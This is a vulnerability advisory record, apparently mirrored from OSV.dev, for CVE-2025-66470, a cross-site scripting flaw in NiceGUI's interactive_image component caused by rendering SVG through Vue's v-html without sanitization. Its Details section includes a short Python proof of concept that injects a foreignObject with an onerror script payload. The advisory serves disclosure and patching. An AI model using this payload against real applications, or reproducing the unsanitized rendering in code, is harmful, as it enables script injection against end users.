---
schema_version: '1.0'
id: security-20260812-307afb
title: 'CVE-2025-66470: NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized
  SVG content'
url: https://osv.dev/vulnerability/PYSEC-2026-1696
url_hash: 307afb1169f070acc0cda6dc9f8a9766a1260b174ddb6db09824a832707e9338
canonical_url: https://osv.dev/vulnerability/PYSEC-2026-1696
source: osv:pypa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2025-66470
- PYSEC-2026-1696
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- nicegui
- PyPI
lang: en
published_at: '2026-07-07T16:03:12Z'
fetched_at: '2026-08-12T16:00:04.491986Z'
updated_at: '2026-08-22T14:41:30Z'
status: published
content_hash: a25acc0bc94421d553a4b070b9612bcc6b0603b77719e7577fba719534ff780c
content_changed_at: '2026-08-22T13:15:21.579138Z'
license_note: full
summary: NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG
  content
summary_source: rss
summary_en: NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG
  content
summary_omitted_reason: null
redistribution: true
keywords_en:
- content
- CVE
- CVE-2025-66470
- library vulnerability
- nicegui
- PyPI
- PYSEC-2026-1696
- Reflected
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- software security
- Stored
- SVG
- ui.interactive_image
- unsanitized
- via
- XSS
entities_en:
- name: CVE
  type: data
- name: PyPI
  type: artifact
topics_en:
- library vulnerability
- software security
numeric_facts: []
entities:
- name: CVE
  type: data
- name: PyPI
  type: artifact
related_auto:
- name: Portal
  type: organization
  weight: 1.0
- name: Hugging Face
  type: organization
  weight: 1.0
computed_at: '2026-08-22T14:41:28Z'
---

# CVE-2025-66470: NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content

## TL;DR
NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content

## Key Points
- cve / CVE-2025-66470 / PYSEC-2026-1696 / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N / nicegui / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
**Advisory:** PYSEC-2026-1696 (CVE-2025-66470)

**Details:**
### Summary
A Cross-Site Scripting (XSS) vulnerability exists in the `ui.interactive_image` component of NiceGUI (v3.3.1 and earlier). The component renders SVG content using Vue's `v-html` directive without any sanitization. This allows attackers to inject malicious HTML or JavaScript via the SVG `<foreignObject>` tag.

### Details
The vulnerability is located in `nicegui/elements/interactive_image.js`.
The component uses the following code to render content:
```javascript
<g v-html="content"></g>
```
Vue's v-html directive renders raw HTML strings into the DOM. If an application allows user-controlled input to be passed to the content property of an interactive image, an attacker can embed a <foreignObject> tag containing malicious scripts, bypassing typical image restrictions.

### PoC
```python
from nicegui import ui

@ui.page('/')
def main():
    ui.label('NiceGUI SVG XSS PoC')
    
    # Standard image loading
    img = ui.interactive_image('[https://picsum.photos/640/360](https://picsum.photos/640/360)')
    
    # Payload: Embeds raw HTML execution inside SVG
    # This executes immediately when the image component is rendered
    img.content = (
        '<foreignObject>'
        '<body xmlns="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)">'
        '<img src=x onerror=alert("XSS-SVG")>'
        '</body>'
        '</foreignObject>'
    )

ui.run()
```

### Impact
- Type: Reflected / Stored XSS (depending on data source)

- Severity: Moderate

- Impact: Attackers can inject malicious scripts that execute whenever the image component is rendered or updated. This is particularly dangerous for dashboards or multi-user applications displaying user-generated content or annotations.

**References:**
- https://github.com/zauberzeug/nicegui/security/advisories/GHSA-2m4f-cg75-76w2
- https://nvd.nist.gov/vuln/detail/CVE-2025-66470
- https://github.com/zauberzeug/nicegui/commit/58ad0b36e19922de16bbc79ea3ddd29851b1a3e3
- https://github.com/zauberzeug/nicegui
- https://pypi.org/project/nicegui
- https://github.com/advisories/GHSA-2m4f-cg75-76w2

_Data: OSV.dev (upstream: pypa) — https://osv.dev/vulnerability/PYSEC-2026-1696_

## Source
元記事: [CVE-2025-66470: NiceGUI Stored/Reflected XSS in ui.interactive_image via unsanitized SVG content](https://osv.dev/vulnerability/PYSEC-2026-1696) — published 2026-07-07T16:03:12Z
